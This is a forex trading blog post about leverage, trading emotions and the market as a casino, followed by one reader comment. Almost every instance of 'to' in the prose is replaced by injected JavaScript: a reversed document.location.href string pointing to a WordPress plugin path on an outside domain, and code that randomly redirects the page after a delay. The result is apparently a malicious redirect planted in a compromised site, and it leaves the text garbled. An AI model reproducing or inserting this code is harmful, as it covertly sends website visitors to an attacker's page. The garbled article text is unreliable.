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3 Things Your Forex Broker Doesn’t Want You To Know 

Last Updated: May 14, 2022

By Rayner Teo

Forex trading usually requires a broker for retail accounts and here are 3 things that your forex broker doesn’t want you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know.

Leverage

You see forex brokers offering leverage like nobody’s business. The highest i saw was 1 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 400. Seriously, if anyone goes with the broker that offers the highest leverage, you’re better of parking your money in the bank.
Assuming you have $1000 and you buy $400000 worth of EURUSD currency. And assuming EURUSD average a 1% movement a day (which is not unreasonable). Thus 1% of $400000 = $4000
If that 1% were toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go against you, your account is wiped out and you’re down NEGATIVE $3000. So much so for leverage huh!
So now you know why your forex broker loves toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to offer you massive leverage?

Emotions

Humans were never born toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trade. Our emotions are counterproductive toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trading given how we are programmed biologically. We like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hold on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our losses, HOPING it will come back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to breakeven. We cut our profits short FEARING it would run away from us. Hope and fear are the 2 killer emotions that destroy most accounts. forex broker shock

Biggest casino in the world

Yes, that’s right! The forex market is the biggest casino in the world. And you can open up an account for as little as $100. Wait, in fact, it’s even more convenient than going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a casino. At a click of a mouse, you can buy or sell! Wow, what better way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lose your money at the comfort of your home!

You’re challenging against the smartest, most hardworking people who have access toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deeper pockets than both you and I can imagine.

These are facts your forex broker would never tell you as it’s bad for business. But hey, I’m not your forex broker!  😀

 

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  • Dear Raynor, I would like to check what broker are you using currently that allows trading of currencies, commodities, precious metals, indexes in one single account please.

    Thank you very much for your kind advice.

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